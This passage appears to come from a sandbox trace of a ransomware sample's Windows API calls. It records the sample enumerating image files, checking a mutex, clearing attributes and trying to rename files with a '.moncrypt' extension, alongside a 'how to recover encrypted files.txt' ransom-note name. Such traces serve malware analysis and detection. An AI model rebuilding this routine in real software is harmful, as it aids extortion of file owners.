dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.788] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png", cchWideChar=96, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png.", lpUsedDefaultChar=0x0) returned 96 [0057.788] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png.", lpUsedDefaultChar=0x0) returned 4 [0057.789] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0057.789] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.789] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.789] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.789] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0057.790] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.790] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png.moncrypt")) returned 0 [0057.790] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.790] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.790] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.790] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.790] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.790] GlobalUnlock (hMem=0x44000c) returned 0 [0057.790] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.790] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.791] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.791] GlobalUnlock (hMem=0x44000c) returned 0 [0057.791] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.791] GlobalUnlock (hMem=0x440004) returned 0 [0057.791] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.791] CharLowerBuffW (in: lpsz="NavigationRight_ButtonGraphic.png", cchLength=0x21 | out: lpsz="navigationright_buttongraphic.png") returned 0x21 [0057.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.792] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png", cchWideChar=91, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 91 [0057.792] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\LayeredTitles\\NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 4 [0057.792] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0057.792] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.792] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.793] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.793] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0057.794] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.794] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png.moncrypt")) returned 0 [0057.794] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b300e1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b300e1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.794] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.794] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.794] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.794] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.794] GlobalUnlock (hMem=0x440004) returned 0 [0057.794] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.794] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.794] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.794] GlobalUnlock (hMem=0x440004) returned 0 [0057.794] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.794] GlobalUnlock (hMem=0x44000c) returned 0 [0057.794] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.795] CharLowerBuffW (in: lpsz="NavigationRight_SelectionSubpicture.png", cchLength=0x27 | out: lpsz="navigationright_selectionsubpicture.png") returned 0x27 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 